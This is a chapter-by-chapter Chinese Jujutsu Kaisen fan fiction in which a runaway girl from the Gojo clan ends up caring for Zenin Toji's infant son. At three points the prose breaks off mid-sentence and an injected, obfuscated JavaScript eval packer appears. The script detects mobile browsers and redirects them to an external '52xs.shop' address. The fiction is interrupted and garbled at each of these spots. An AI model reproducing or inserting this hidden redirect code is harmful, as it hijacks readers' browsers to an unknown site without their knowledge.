《野狗的饲养指南[咒回]》 1. 圣诞前夜 【记录:2002年12月24日,东京都,无名小巷】 那是一条狗——黑色的狗。 可能是流浪狗,也有概率是家养犬。它的脖子上还戴着深蓝色丝绒的项圈,只是皮毛沾满灰尘,毛茸茸的尾巴打结成了团,变得很像是几块压得平平的土片叠在一起的模样,连日的雨水都无法把它洗刷干净。脏兮兮。 黑狗就这么漫无目的地奔跑在五条怜的前面。有那么短暂的几个瞬间,五条怜恍惚地认为,它是在引领着自己的脚步。 事实并非如此。 狗在寻找一个避雨的场所,而五条怜要想办法逃离身后的追捕。 平安夜的暴雨从午后开始下起,直到此刻的深夜也不曾停歇,彻底打湿了她浅葱色的和服,也带走了她最后能够感受到的那点温暖。指尖也好脚掌也罢,全都泛着冰冷的僵硬感,一脚踏下去,冻成冰块般的皮肉也仿佛要裂开来了。藏在袖口里的银色戒指沉沉地拉扯着她的和服,每挪动一寸,似乎都能听到戒指振动的鸣叫声。 唯独不冰冷的,是怀里刚出炉的面包。甚至有点太烫了,让胸口都在一阵一阵的作痛。 远处街头响起了圣诞歌,欢快的音符被空气中阴冷的潮气扭曲了。她的肚子空空,大脑也空空。想要停下脚步,但是不行。 她正在奔跑。她只能奔跑。真惨啊。 会落到此刻的境地,全是因为五条怜自己。 十几天前,她度过了十三岁的生日。 说是生日,实际上并无任何特别,没有蛋糕,更无祝贺,所有人都在顾着为六眼诞生的第十三个年头欣喜不已,到头来还记得她生日的,居然只有寿星本人五条悟而已。不过他也忘记给自己拿一块蛋糕了。 七天前,她决心逃离那个家,什么也没有带上,就这么离开了。有谁注意到她不见了吗?大概率没有。即便是有,估计也都是庆幸的声音。 “那个已经没用了的棺材子终于消失了!”——那个家绝对会这么说。 所以,此刻紧追不舍的,不是她的家人。重叠的脚步声和不时传来的“你给我停下!”,本质上也不是为了她,而是对她怀中揣着的这个面包所发出的呼喊。 如此看来,面包比她更珍贵。 几分钟前(也可能是十几分钟甚至几十分钟前,她快要丢失对时间的认知了),这个黄油蒜香面包从烤炉来到了透明的玻璃橱窗里,金黄色的,硕大一个,油润润的奶香味如此诱人,五条怜停住了脚步。 她已经饿得昏头了,唯独能清楚意识到的是自己身无分文的事实,以及饿到马上就要死掉了的危机感。 可能是下意识的冲动在作祟,也可能只短暂地思索了几秒。答案并不重要,因为她伸出了手。 伸出手,抢走面包,就像书里的冉阿让那样,区别是她可没有那么崇高的动机。她只是饿疯了。 再之后……后来,就是现在了。 她开始逃跑,面包店的伙计和烘焙师傅都追在身后。要是被他们抓住了,她说不定也会被丢进巴士底狱吧。 等等,冉阿让是被关在了巴士底狱吗,还是别的什么监狱?说起来,这里是东京,不会有什么“巴士底狱”吧?东京的监狱叫什么名字来着,未成年的她也会为了这个面包而被判处五年的牢狱之灾吗? 大脑僵硬而迟钝地转动着,得出一堆毫无意义的想法和结论。 雨声好像变大了,变得像是银针或是某种更庞大的东西,尖锐地砸在身上。背后的脚步声和急促呼喊,倒是渐渐听不到了,四肢依旧沉重,胸腔由内而外地疼痛。 黑狗早已不见踪影,它到哪儿去了? 不对不对,她自己这是跑到什么地方去了? 没有概念,没有答案。大脑一片空白。 依旧,她只能奔跑。 跑过好几条阴暗的小巷,此处甚至已经没有了灯光,倒是主路上的乐声一点不减,在耳边盘旋着“铃儿响叮当”。一大堆旧家具不知道被什么人随意丢在路边,堵住了本就不宽敞的通道。 五条怜知道自己应当跨过去的,她也确实抬起双腿了,可脚尖还是撞在了家具边缘,连带着身体也失去了控制,踉跄着撞向地面,把她扔进地上的一汪水潭里。袖口里的戒指撞在地面,发出沉闷且微弱的声响,但是还好,仍完好地窝在口袋的一角。可怀里的面包掉出去了,冰冷的空气一下子填满了胸口消失的滚烫感。 她的面包——被她偷走的黄油蒜香面包——此刻像个金黄色的车轮,在地面上转个不停,轱辘轱辘,轱辘轱辘,碰到了某个人的脚。 然后停下了。 顺着地面的角度望去,五条怜看到了一个像模型那样裂成了几块的人体,空气里充盈着潮湿的铁锈味。 还有那站在雨里的、黑色的男人。 嗯。当真是完全黑色的男人。 头发是黑的,衣服也是漆黑。在没有月光的夜里,他的皮肤似乎也镀上一种粘稠而浓重的油墨,比从他的指尖与手中长刀滚落的液体还要更加黏糊,像是……她说不出像什么。 她觉得自己曾经见过他,只是想不起那一刻的场景,也根本念不出他的名字了。站在眼前的人形,与其说是人,倒更像只野兽。 这一年——2002年即将走到尾声,这个冬日的雨夜一定会成为一整年里最寒冷的日子,冷到五条怜战栗不止。呼吸被卡得断断续续,她真的还在喘息吗?力气也好,勇气也罢,肯定都融化在了雨水里。 危险。眼前的人很可怕。 快站起来。快逃吧。 快点!快点! 五条怜知道她该怎么做,可不争气的双腿却怎么都站不起来,而他分明已经向自己走来了。 男人蹲下了身子,本就高大的身躯被折叠成了更加宽阔而醒目的存在,她吓得愈发无法停止颤抖。直到此刻他才愿意分心去看掉在脚下的面包,随手捡起,满不在意地咬了一大口,歪头盯着她。五条怜看到了他嘴角的一道短短伤疤。 他好像看了很久,但也可能不太久,都怪阴冷感再次打乱了时间的实感。 “挺眼熟。” 这似乎是对她的评价。 他旋即又眯起眼打量她,发出一声很轻蔑的哼声:“对,五条家的。你和六眼小子蛮像,虽说我也不太想得起他长什么样了。” 大抵是错觉,他的话语短暂地让五条怜以为自己的心脏已经变成了空洞,无论是名为恐惧还是震惊的心情,都漏过了这个巨大的洞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346000|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后消失到了不知道哪里去。她看到她的面包又被咬了一大口,昧着道德和良心而偷走的最后食物显然已经变成了这家伙的所有物,她的心不由得跳得好快。 是否感到生气了,还是绝望感开始作祟了?五条怜不知道。 唯独知道的是,颤抖忽然停下了,早已饿到虚脱的疲惫身体爆发出了前所未有的力量。她倏地冲向他,死死扒住他的手腕,向他拿在手中剩下的半个面包努力探去。 “还给我……是我的。”怯弱的嚅嗫也变成了吼叫,“把面包还给我,禅院甚尔!” 她想起了他的名字。 五条怜不认识禅院甚尔,也不曾很正经地见过他。对此人唯一的印象是前几年的雪天,她站在宅邸的后门等待五条悟的途中,看到一个沉着脸的男人经过他的身后,视线故作不经意般扫过他。后来,五条悟告诉她,那个偷看他的男人,浑身上下没有一点咒力,大概就是禅院家的了。 「追求多样化术式的家族,却老是容易生下没咒力也没术式的后代。超搞笑!」 那时,五条悟是这么说的,而五条怜也迷茫地点了点头。 实际上,她一点也听不懂他的意思。她也没有术式,所以没能成为咒术师,更不曾踏入过咒术师的世界。 后来,是从别人的聊天中,偷听到了禅院甚尔此人离家的事情。 再之后嘛……就是今天,就是此刻了。这家伙堂而皇之地吃起了她的面包,正以一副很戏谑的表情睨着她,无论怎么看都像是在对她送上嘲笑。 胸膛又滚烫起来了。不是因为面包,也不全是恐惧作祟。可能只是愤怒和饥饿,或是更尖锐的某种情绪,尖锐到足以刺痛出从未有过的勇气,推着她窜到这家伙的背上,用细弱的手臂紧紧环住他的脖颈。五条怜张开嘴,一口咬在他的肩膀上。 好硬。好痛。牙齿要掉了? “还给我!”她又伸手去抢,“是我的东西!” “啧……你是狗吗?烦人的狗。” 如同拂去肩头的一片落叶,禅院甚尔攥住五条怜的衣领,把从身上拉下来,丢到地上。如此轻巧的动作砸出了很响亮的“砰”一声,积水也碎裂了。 这下总能消停点了,他想。 事与愿违。 明明都饿到肚子都要变成坍缩的黑洞了,明明能够感觉到已然命悬一线,五条怜还是扑向了他。 “像狗一样有什么不好!” 她尖叫着,好像要疯了。 再不吃东西就会死。遇到禅院甚尔这么可怕的人,还貌似目睹了对方犯罪的瞬间,八成也没办法从他的手里活下去。就算侥幸逃走,又能怎样? “所以……所以……”她喃喃着。 所以,此刻一定是她人生最后的时间了…… ……不对。 早在被赋予“怜”这个可笑的、和她的哥哥相似的名字前,她就应该去死了。 她是从断气之人的肚子里剖出的孩子,命运应当与她身为下人的母亲一样,在六眼神子诞生的那个夜晚与暴毙的母亲一同死去。但是没有。 她活下来了。 她要活下去。 “所以,带我走吧!我什么都会为你做的——我向你发誓!” 2. 野狗的家 幽暗、狭窄、很不宜居。 这是在看到禅院甚尔的家时,五条怜脑海中跳出来的第一评价。 但抛开这些缺点,此处不会有雨吹进来,也没有阴冷的风。不停从落地窗外掠过的车灯透过窗帘,在地上画下一道旋转般的弧形影子,也顺便带来了轮胎碾过柏油路面的声音,她想起刚才跟着甚尔一路走过来时,正好途经过了一条车流量不小的公路,说不定此刻所有的噪音都是来自于那条路上。 五条怜很想拉开窗帘,看看自己对于公路的猜想是否正确,可她有点不敢这么做,依旧尴尬地站在门外的走廊上,捏紧了衣袖,隔着湿漉漉的布料把戒指紧紧攥在手心里,像个小偷似的往里打量。 “站着干嘛?”甚尔站在客厅里,远远看去依旧是道漆黑的影子,声音也冷冰冰的,“进来。” “唔……我知道了。” 诚惶诚恐,五条怜立刻踏进玄关,顺手合上了门,沉闷的咔哒一声。 居然真的被这家伙带走了。直到现在她还觉得很吃惊。 “带我走吧,我什么都会替你做的!”——说出这句话的时候,大概有一半是冲动。还有一半,显然是求生欲在作祟。而这男人也真的把自己带回去了,肯定也是想要从自己的身上谋求一点什么。也就是说,他们之间算是构成了相互索取的关系吧……哎等等。 五条怜忽然感到自己晕乎乎的脑袋清澈了一下。 成年男性和未成年少女,在前者的家里。她已经学过生理课的知识了,大概稍微能够想到接下来有可能发生的事情了。 ……坏了。现在好像有点危险。 五条怜真不想面对自己貌似做错了决定的事实,也一点都不愿承认她有点害怕,可惜浑身上下颤栗不停,早就把她的这点心思全都抖露出来了。 “喂。” 那个影子在喊她呢。 相当不争气的,五条怜猛抖了一下。实在没什么后悔或是反抗的余地,她磨磨蹭蹭地走过去了。 “有……什么事吗?” “奶粉在桌上,热水在那边。每隔两个钟头给他喂饱。”他的手从这里指到那里,之后指向了眼前的小篮子上,“听懂了吗?” “唔——” 其实没懂。 五条怜把他刚刚指过这里那里全都看了一遍,但屋里没开灯,到处都是黑漆漆的,目之所及的一切全都像是奇形怪状的影子,根本分不清什么是什么。唯独摆在前头的小篮子还算清楚。 仔细看看,小篮子并非只是一个篮子,而是简单的婴儿床,里头躺着一个孩子,小小的,但很壮实,正安静地睡着,没有闹出半点动静。 看看婴儿,再看看打着哈欠的甚尔,现在她好像能搞明白了,迟钝地点了点头:“嗯。懂了。” “那就行。” 工作交代完毕,显然是没别的好说了,甚尔一声不吭地钻进被炉里,摸索着打开了开关,期间不小心把桌上垒得高高的啤酒罐弄掉了两个,砸出咔啦咔啦的刺耳声响,本人对此却毫不在意,往地上一倒,就这么睡了,连鼾声都没有。屋里一下子陷入死寂。 那……接下来就该喂奶了? 虽说已经听他把该干的事情说过一遍了,可五条怜有点不知所措。她停在原地,不知道是不是现在就该去喂奶了,还是等到两小时之后。 身上的衣服还湿漉漉的,一点都不见干,屋子里也阴飕飕,没有空调或是暖炉。唯一值得庆幸的是,饥饿感已经缓解了不少——走过来的路上,甚尔把吃剩一半的面包还给她了,勉强让她脱离了饿到一命呜呼的悲惨命运。 傻兮兮地站了一会儿,她总算动起来了,伸手去拿台子上的奶粉和奶瓶。 不管怎么想,甚尔交给她的差事显然是现在就必须完成的。她饱尝过饥饿的滋味,可不能让这么小的一个孩子也经历如此糟糕的体验! 决心很强,执行力却少得可怜。五条怜迟钝地拆开盖子,再旋开奶瓶,哆哆嗦嗦,先试探性地往瓶子里舀了几勺奶粉,想来想去总觉得不对劲,赶紧捧着奶粉罐跑到窗边,小心翼翼拉开一条缝,借着外头驶过车灯,飞快地读完了使用说明。 呀,居然要把奶粉刮平才行吗?完全不知道这回事。也就是说,刚才加得有点少了吗?那得再补上一点才行了。所以得补多少来着? 纠纠结结,她往瓶子里又丢了两小勺粉。 这样一来,分量应该就差不多了……吧? 五条怜捧着瓶子,小心翼翼穿过客厅,走到了大概是厨房的位置。饮水器上亮着红灯,没洗干净的碗筷和锅子在水槽里堆成了小山,有几个碗里还有压得变形的烟头,就连冰箱上可爱的冰箱贴也摆得乱糟糟的。 不只是厨房而已,其实客厅也有够乱的。 婴儿床和杂物都摆在了客厅一角,衣服则是铺在了沙发上,堆在狭窄过道里的纸箱让仅有的一点空间变得更加紧促。南侧有一扇房门紧闭着,她猜是卧室,但她也不懂甚尔为什么选择睡在这里。 这是单身汉的独居之家吗,还是杂乱却温馨的小家庭呢?五条怜不知道,只忽然觉得好不自在。 就这么闯进了别人的家里,确实应当无所适从才对。 不小心发了个呆,从瓶口溢出的温水倏地涌出来了,流到手上,突如其来的温度吓到她差点蹦起来。 赶紧关上水,也顾不上洗手了,五条怜匆匆跑回去。第二阶段的挑战不期而至,她又忍不住要哆哆嗦嗦起来了。 不行不行,她来到这里是为了证明兑现自己许下的诺言的,老这么犹豫算怎么一回事呀! 五条怜心一横,直接把奶嘴塞进了熟睡婴儿的嘴里。 婴儿不喝、婴儿生气、婴儿狂哭。 她已经替自己莽撞的喂养行动做出了上述这些可能性的设想。 有些出乎意料,但其实也没有什么好惊讶的,她的设想一个都没派上用场。这孩子居然很主动地咬住奶嘴,分外自觉地吮吸起来,喝饱后一扬脑袋,自顾自睡过去了,不吵也不闹,简直像个小假人。 “呼……” 提心吊胆的一天,现在总算能稍微松一口气了。但考虑到两小时之后还要再把刚刚做过的事情重复一遍,这口气看来还不能彻底松懈呢。 五条怜绕着客厅转了一圈,然后又转了好几圈。 说实在的,她很累了,也有点困。如果能够让她躺下来睡上一觉,绝对再好不过。可问题是,那里能睡呢? 最适合用于歇息的被炉被甚尔完全占满,沙发上也堆满了东西,仅有的空间被挤压得不剩多少。阳台或许是个不错的去处,可外头的雨一点没停,她也不想再湿哒哒的了。 几圈转悠下来,她最后还是在被炉旁停下了,把掉落在地的啤酒罐和橘子皮拢到一边,姑且为自己清出了可以落足的空间,艰难地盘腿坐下。 在狭窄又阴冷的这间公寓里,唯独此处靠近被炉的热气,比其他任何一个角落都要舒服些。 五条怜以这副委屈巴拉地姿势坐着,脑袋几乎耷拉到了膝盖上。体温和被炉溢出的一段暖风帮着烘干了她的衣服和头发,也终于赶走了久久盘踞在她心底的冰冷感。就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346001|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将要触及梦乡之际,“每隔两小时喂奶”这一概念猛地跳进了她的大脑里,倏地让她惊醒了。她猛地从地上弹起来,小跑到婴儿床边,开罐舀粉冲泡喂食一气呵成。 干完这一连串的事情,她总算能松一口气了,重新窝回到被炉旁的小小空间里,借着这点热气团起身继续打盹。 眯上两个钟头,再次被使命唤醒,完工后继续歇息,然后再在两小时后自然醒来。这似乎快要形成一个奇妙的循环了。 当甚尔慢悠悠醒来时,正好接近第四次循环的末尾。要是他再多眯上一会儿,就能亲眼见证五条怜的弹射起跳了。 不过,就算是错过了也没什么可惜的,因为他都没认出来坐在自己旁边的这个小孩是谁,一度陷入了前所未有的困惑。 困惑着困惑着,他终于想起来了。 昨晚在完成委托任务——这委托当真被他拖了很久很久——的途中,遇到了一个离家出走的五条家的难缠小孩,难缠到她甚至爬到了自己的背上又打又咬,有够烦人。 说实在的,甚尔本来真打算杀了她,或者至少丢到什么人迹罕至的地方去,哪怕她说出了“我什么都会帮你做的”这种大话。 不管怎么说,自己的工作场景被这小屁孩看了个遍,凭空多出一个目击证人绝对算不上是什么好事。还好他想起来了,家里还有更麻烦的事情存在着,而她说出的承诺刚好适用。 于是,收起了刀,把吃到一半的面包丢还给她。在拿到面包的瞬间,这孩子的锐气瞬间消失了,像条迟钝的小狗一路跟在身后,就这么回来了。 睡了太久,脑袋昏昏沉沉。甚尔用大拇指揉着太阳穴,顺手从桌上的一堆垃圾里摸到了仅剩的最后一颗橘子,慢吞吞地剥起来。 “喂。”他对着坐在被炉边的小家伙甩甩手,“醒一醒。” 来自天与暴君的唤醒服务非常有效,五条怜倏地就从无比抽象的梦中醒来了。与甚尔对上视线的瞬间,她似乎是有点被吓到了,表情都僵硬了一瞬,几秒钟后才飞快地站起来,用手抚平和服的褶皱,向他认真地鞠躬。 “早上好,甚尔先生。” 就连问好都是毕恭毕敬的。 好嘛,昨天那副野狗似的锐气模样,看来是一点都不剩了。 甚尔不知道自己该不该为此高兴。他冷笑了一声,依旧懒洋洋地躺着,把橘子丢进嘴里,视线上下一扫,把她看了个遍。 “多大了?” 她的表情莫名多出了一点紧张:“十三岁。” “哦……”果然是这样。 她看起来就是一副小屁孩的样子,还留着短短的妹妹头,手腕细得像筷子,个子也矮,才比他的手肘高出一点,记得她昨天走在身后时,存在感小到几乎不存在。 这样的孩子,能派上什么用场呢?甚尔心里想笑。 “名字?” “五条,呃。”她突然涨红了脸,“怜(satoru)。” “五条怜?”他不自觉地把这名字重复了一遍,“有点耳熟。” 她的脸红得更厉害了,声音都在颤抖:“是和六眼一样的名字。” “哦,对,五条家的六眼。” 他夸张地点点脑袋,仿佛真有这么认同。 “你和六眼又是什么关系?”他追问着,“从一个家里出来的,名字还一样,很难让人不多想吧?” “姑且……” 五条怜的脸颊已经涨得发紫了,呼吸也如同战栗。几近艰难的,她挤出了几个字。 “姑且是,那位六眼的妹妹。” 3. 小小怪物 五条怜也不知道为什么自己非要加上“姑且”一词。 说出了“姑且”的自己,怎么看都像是个在厚着脸皮撒谎的讨厌小孩一样,她自己都觉得羞耻。 有些意外的是,在甚尔的脸上,她没有看到什么意外的表情,也不存在太多的困惑,刚才短短地在他眼中掠过的一点好奇,现在也消失无踪了。无力地耷拉着的眼皮里写满乏味,看来她的趣味性已经比不上他手里的橘子了。 “所以,你是咒术师吗?” 一下子跳过了六眼或是妹妹的话题,他的话题像是飞到了千里之外。 五条怜原本还在心里纠结着呢,不知道是不是要好好同他解释自己为什么与五条悟有着一模一样的名字,还有他们之间相似的长相。可他一点没问,心中的纠结彻底失去了落点。她无力地张了张嘴,一时不知道该说点什么才好了。 “放心。” 啪——甚尔把橘子皮丢到桌上,精准地叠在了桌角的烟灰缸上,话音同橘子皮一样,飞快地瘪下去了。 “就算你承认自己是咒术师,我也不会杀了你的。” 他好像说出了很恐怖的话,可五条怜当下却没感觉到多少恐惧,倒是涨红的脸烧得更滚烫了一点。她感到好羞耻。 “……不是。”嚅嗫着说出口的话语压低了她的脑袋,“我、我没能成为咒术师。我有咒力,但没有继承术式……抱歉。” 五条怜不知道自己为什么要说出道歉的话语,可这句“抱歉”还是在不经意间从嘴里溜出去了。 好像听到甚尔笑了一声,很戏谑的意味。 “因为没能成为咒术师,所以离家出走了?”他眯起的眼眸也像在嘲笑她。 “不是的!”她急急地为自己辩解,“我……我只是……” 只是。只是什么呢?五条怜说不出口,她能感觉到藏在衣袖口袋里的银色戒指在硌痛着骨肉。 她离家的原因,其实很愚蠢,可以说是一时冲动,也算得上是经年累月的长久思虑,无论如何,她都将这份冲动实现了。旁人真的能够理解她的冲动吗?五条怜不知道。 所以她犹豫了——担心不被认同、担心被嘲笑,这构成了一切让她犹豫的理由,沉默了许久都说不出半句话,实在窝囊。 “行吧。反正我是无所谓。” 甚尔还是满不在意的,翻了个身钻进了被炉的更深处。 “你说什么都会替我做的,对吗?那你以后好好听得我的话干活就行了。” 烦恼的问题就此消失无踪,她不由得松了口气,连忙点点头:“好!” 虽然起点不顺利,过程也颇为曲折,但不管怎么说,现在她总算能有一个容身之所了,五条怜感到万分庆幸。可惜松懈的这口气还没能彻底吐出来呢,身后忽然响起了“哇”了一声。要不了多久,这声响就会变成夺命的哭声了。 啊,忘记了,马上就到两个小时的界限了!喂奶的技巧她确实是已经掌握了没错,但要怎么才能哄好大哭的婴儿,她完全没头绪呀! 五条怜慌了,瞬间头皮发麻,想向甚尔投去求助的视线,没想到这家伙居然已经彻底钻进了被炉里去,用被子蒙住脑袋,简直就是一只鸵鸟。 笨拙地在原地僵了片刻,五条怜终于意识到事实了——事实就是,现在只有她能去停止小怪物的哭声了。真是万难的工作呢。 一步一步,她磨蹭着走到婴儿床边,与躺在里头的小怪物第一次打了照面。 喂了一整晚的奶,照理说她和这孩子应该已经建立起了不得的羁绊了,但实际上,她还没有正经打量过他几眼,这都怪昨晚黑漆漆的,什么都看不清。现在天亮了,倒是能看清了。于是便也能发现,爆发出洪亮哭声的小怪物,其实不那么像是怪物。 他看起来好小的一个,也不知道究竟多大了,正卯足了劲哭闹着,粉扑扑的浑圆脸蛋涨得通红,连带着一头短短的黑发都要翘起来了,握紧的拳头在空中挥来挥去,仿佛正在和一个看不见的敌人战斗。 所以,该怎么哄孩子来着?五条怜毫无头绪,总之先手脚飞快地泡好了奶,把奶瓶怼进他的嘴里。 明明晚上还乖巧的很,这会儿却彻底闹腾疯了,小怪物不停左右摇着脑袋,怎么都不愿意配合。手忙脚乱好一阵,喂奶的进度依旧停留在百分之零,而五条怜的脑袋已经变成五倍大了。 “乖啦。乖啦。” 笑眯眯的温柔安慰没派上半点用场,恍惚之间总觉得哭声更大了。她真有点不知所措了。 还能做点什么呢?感觉窝在被炉里的甚尔已经很不爽了,要是没能派上半点用处,她绝对会被他丢出家门的! 危机感瞬间冒出头来,五条怜很不争气打了个冷战。 好不容易才找到一个容身之所,虽说寄人篱下是很可怜啦,但怎么说都比流落街头好上太多。无论如何,她都得努力才行了! 五条怜在心里替自己打气,顺便鼓起勇气,哆哆嗦嗦把手伸向了小怪物……算了,还是称之为小婴儿吧。 依照她的计划,她要把这孩子抱起来,然后像电视剧里所有的新手爸妈一样,抱着他在空中晃悠几个来回,晃到他停下哭泣为止。可惜美好的设想在第一步就卡住了。 小小的孩子,如同放大了十倍的、她从来没拥有过的洋娃娃,柔软程度则是塑料娃娃的一百倍,双手环过小小的身体,仿佛穿过了一滩温暖的软水,手 上的力气全都消失无踪。努力提起来,一大坨软乎乎的肉贴到了手臂上,晃来晃去的小拳头哐叽一下砸在脸上,害得五条怜都懵了,后知后觉地才意识到怀里小婴儿的重量不可小觑。 无比柔软,但也无比沉重,在怀里闹个不停。别说是在空中晃悠了,光是想要抱稳,都算得上是一桩磨练了。 五条怜原地蹦跶了一下,顺势把小婴儿提到了胸口。还没走出几步,他就滑到自己的肚子上闹个不停了。她艰难地拖着这团闹腾的团子,像只螃蟹一样挪到了被炉旁。 “那个……禅院先生。禅院先生?” 窝囊的求助声没能穿过被褥的屏障,甚尔甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346002|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没动弹一下,依旧团在被炉里头,好似一只寄居蟹。 “禅院先生!” 不停膨胀的窝囊感触底反弹,五条怜猛地掀开被褥,与恼怒地眯起眼的寄居蟹四目相对。 “这孩子叫什么名字呢?”她一本正经,“我想,知道名字的话,哄起来会更方便的。” “什么乱七八糟……”甚尔扯扯嘴角,显然对这番理论难以赞同,不过还是告诉她了,“惠。” 五条怜迟钝地眨眨眼,把拍打着她膝盖的小怪物重新捞回怀里,忍不住低头多看了一眼,小声嘀咕:“唔……你叫惠呀?” 是个不错的名字呢,比身为可怜的“怜”的她好上太多了。 她低下头,脸颊轻轻贴在了小怪物黑漆漆的脑袋上,稍微有些痛。 嘶……头发好扎人。 “禅院先生。”五条怜又喊了他一声,“他姓什么呀?” “……” 甚尔翻了个身,仰面躺在地上,眯起的眼眸像是在看笨蛋。 “姓禅院啊,不然呢?” “唔……”脸颊好烫,“抱歉。” 和她不一样,这孩子不是他捡回来的呀?所以,惠是他的孩子吗?那么孩子的母亲去什么地方了? 五条怜心里有很多很多疑问,不过她一个也不会说出口。 把禅院惠抱远一点,几步路的功夫他又滑到腿上去了,只好再捞回来。看来晃悠晃悠的哄孩子大法派不上用场了。她约莫绕着小小的客厅走了八百圈——在这期间寄居蟹禅院甚尔也充裕钻出了被炉,挪动到电话机旁边点了一份外卖。 走到腿酸心累,总算是耗尽了怪物的体力。没电的禅院惠趴在她的肩头,睡得像只小猫,终于多出了一点小孩特有的可爱模样。 轻轻地放进婴儿床,五条怜想,自己终于可以松一口气了。不过这口气也才吐出一半,忽然响起门铃。 “喂。五条。”寄居蟹久违地探出头来,“去开门。” “好好!” 居然用五条喊她……真怪。以前从没有人用过这种称呼。 就算是在五条家,她也从来算不上“五条”。 暗自在心里思忖着,她加快了脚步,把门打开。 站在外头的是楼下快餐店的伙计,看起来年纪不大,递上餐品时的动作更是元气满满,连再见都没来得及说出口,他已经一溜烟跑回去了。 啊……好重…… 塑料袋的抓手勒得指关节发痛,她努力腾出手来关门,顺便扣上门链。晃晃悠悠,走个十几步,就能抵达温暖的被炉旁了。 被炉的小桌子乱糟糟,不是烟头就是空酒罐,还有橘子皮,不过甚尔对此完全无所谓,随便用手一扫,居然很顺利地清出了就餐空间。五条怜也乖乖地在自己的小位置旁坐下,目不转睛盯着他拆开塑料袋,把叠起一次性饭盒铺在桌上。 铺着铺着,不对劲的地方也就此暴露出来了。就连甚尔本人都“啊”了一声。 摆在桌上的分量,分明只有一人份嘛。 4. 定食套餐 一人份食物、成年人禅院甚尔,与缩成小小一团的五条怜。 不管怎么看,这都像是一种很奇怪的搭配,而且大概率没办法拼凑出一个完美的结局。 要说愧疚感或是罪恶感嘛,甚尔当然是一点没有的,不过尴尬感确实是稍微有那么一丢丢,因为五条怜正在用一种可怜小狗般的目光直勾勾盯着他摆在桌上的青花鱼定食套餐,仿佛将要用目光把饭吃光那样急切。 当然了,露出了这般凶饿目光的五条怜,自然是意识不到自己此刻的表情的。她不自觉咽了口唾沫,费了好大劲总算把视线挪到了桌子的一角。 既然只有一份饭,那就意味着中午她要饿肚子了。其实这也没什么打紧的,她昨晚已经吃过面包了,那一大块烤得香喷喷的面团还待在胃里没消化光呢,所以也用不着现在就急急地丢更多东西到胃里去嘛——她在心里告诉自己。 没错没错,她现在用不着进食,因为她压根一点儿都不…… “喂,我说。” “唔!” 甚尔忽然出声,把五条怜吓了一跳。她慌忙坐得板板正正,吓得额头上都要冒出汗来了。 “我不饿!我一点都不饿!”她条件反射地把心里的念头说出来了,“所以不要紧的!” “……真的?” “嗯!” 她用力点点头。只是这压低了的脑袋还没来得及完全抬起来,一股酸溜溜的纠结尖响却先一步钻进了空气中。而且古怪声音的源头,正是来自于五条怜那快要瘪下去的肚子。 好嘛,压低的脑袋这下子是没脸再抬起来了,她的耳朵倏地涨得通红,连垂落的发丝都在抖个不停了。 刚说出豪言壮志,没多久就被戳穿了事实,世上绝没有比这更加尴尬的事情了吧! 甚尔重重地叹了口气,用力拆开饭盒,把塑料盒盖扒拉出咔嚓咔嚓的声响,其中还掺杂了很响且很刻意的一声咋舌。不管怎么听,这些动静都像是他故意搞出来的。 是惹他生气了吗?五条怜怯怯地想。 虽说自己是厚着脸皮说了谎没错啦,可归根究底,只点了一份饭的罪魁祸首不是他才对嘛,不管怎么想也不该由他摆出气呼呼的模样才对。 不过,自己的存在感就这么低吗?明明待在一个屋檐下,居然够完全忽视了自己的存在。 这样一来,不就像她在五条家的境地一样了吗…… 说不好此刻究竟是郁闷还是难过在作祟,她只觉得自己的心正在不受控制地下沉,一直一直下沉,直到突兀的“砰”一声止住了所有的胡思乱想。 冒着热气的味噌汤被摆在了面前,连带着还有装了半拳米饭与四分之一条青花鱼(点缀在其中的腌萝卜也绝对不能轻易忽视)的简易饭碗——其实就是用饭盒的盖子盛着的,严格意义上都不能称作是“饭碗”。 但精致的白瓷碗也好,薄薄的被压得凹凸不平的一层塑料盖子也罢,形式什么的,完全无所谓。 从米饭里冒出的热气直扑打在五条怜的脸上,毫不意外的害她变得好似一幅泪眼汪汪的模样。 她低头看看这一小份饭,又抬头看看仍不太高兴地努着嘴的甚尔,很小声地嘀咕了一句“谢谢”。 虽然声音轻得像蚊子在叫,可她心中的感激可是无比庞大呢! 甚尔从鼻子里发出一声轻哼,好像有点不情不愿,不过也没多说什么了,只是在吃饭中途提到说:“换件衣服。你整个人脏兮兮的。” “啊……” 被他一提醒,五条怜才注意到灰扑扑的自己。 在街头流浪了好几天,整洁与否成了最次要的问题。 